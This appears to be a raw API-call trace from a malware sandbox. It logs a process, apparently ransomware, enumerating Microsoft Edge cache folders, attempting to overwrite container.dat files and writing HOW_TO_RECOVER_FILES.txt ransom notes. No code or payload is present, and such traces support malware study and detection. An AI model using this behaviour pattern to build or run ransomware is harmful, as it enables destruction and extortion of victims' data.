ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.123] FindNextFileW (in: hFindFile=0x1ecdc580, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.123] FindClose (in: hFindFile=0x1ecdc580 | out: hFindFile=0x1ecdc580) returned 1 [0198.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0198.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", lpFilePart=0x0) returned 0x5c [0198.123] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.124] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0198.124] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", lpFilePart=0x0) returned 0x6a [0198.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0198.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x37d1138 | out: lpFileInformation=0x37d1138*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0198.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0198.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", lpFilePart=0x0) returned 0x6a [0198.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0198.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.125] GetFileType (hFile=0x848) returned 0x1 [0198.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0198.125] GetFileType (hFile=0x848) returned 0x1 [0198.125] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0198.125] CloseHandle (hObject=0x848) returned 1 [0198.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", lpFilePart=0x0) returned 0x6a [0198.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0198.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0198.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0198.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0198.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0198.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0198.266] GetFileType (hFile=0x6e0) returned 0x1 [0198.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0198.266] GetFileType (hFile=0x6e0) returned 0x1 [0198.267] WriteFile (in: hFile=0x6e0, lpBuffer=0x366e808*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x366e808*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0198.267] CloseHandle (hObject=0x6e0) returned 1 [0198.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0198.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", lpFilePart=0x0) returned 0x5c [0198.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdcac0 [0198.268] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.268] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.268] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.269] FindClose (in: hFindFile=0x1ecdcac0 | out: hFindFile=0x1ecdcac0) returned 1 [0198.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0198.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList", lpFilePart=0x0) returned 0x5c [0198.269] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc6a0 [0198.269] FindNextFileW (in: hFindFile=0x1ecdc6a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.269] FindNextFileW (in: hFindFile=0x1ecdc6a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.269] FindNextFileW (in: hFindFile=0x1ecdc6a0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0198.269] FindClose (in: hFindFile=0x1ecdc6a0 | out: hFindFile=0x1ecdc6a0) returned 1 [0198.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", lpFilePart=0x0) returned 0x6a [0198.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0198.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x367e178 | out: lpFileInformation=0x367e178*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0198.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0198.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", lpFilePart=0x0) returned 0x6a [0198.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0198.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0198.270] GetFileType (hFile=0x6e0) returned 0x1 [0198.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0198.270] GetFileType (hFile=0x6e0) returned 0x1 [0198.270] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0198.270] CloseHandle (hObject=0x6e0) returned 1 [0198.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", lpFilePart=0x0) returned 0x6a [0198.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0198.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0198.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0198.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0198.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0198.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x848 [0198.906] GetFileType (hFile=0x848) returned 0x1 [0198.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0198.906] GetFileType (hFile=0x848) returned 0x1 [0198.907] WriteFile (in: hFile=0x848, lpBuffer=0x3929100*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x3929100*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0198.908] CloseHandle (hObject=0x848) returned 1 [0198.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0198.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", lpFilePart=0x0) returned 0x5c [0198.908] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.909] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.909] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.909] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.909] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0198.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0198.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0198.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList", lpFilePart=0x0) returned 0x5c [0198.909] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.910] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.910] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0198.910] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0198.910] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.910] 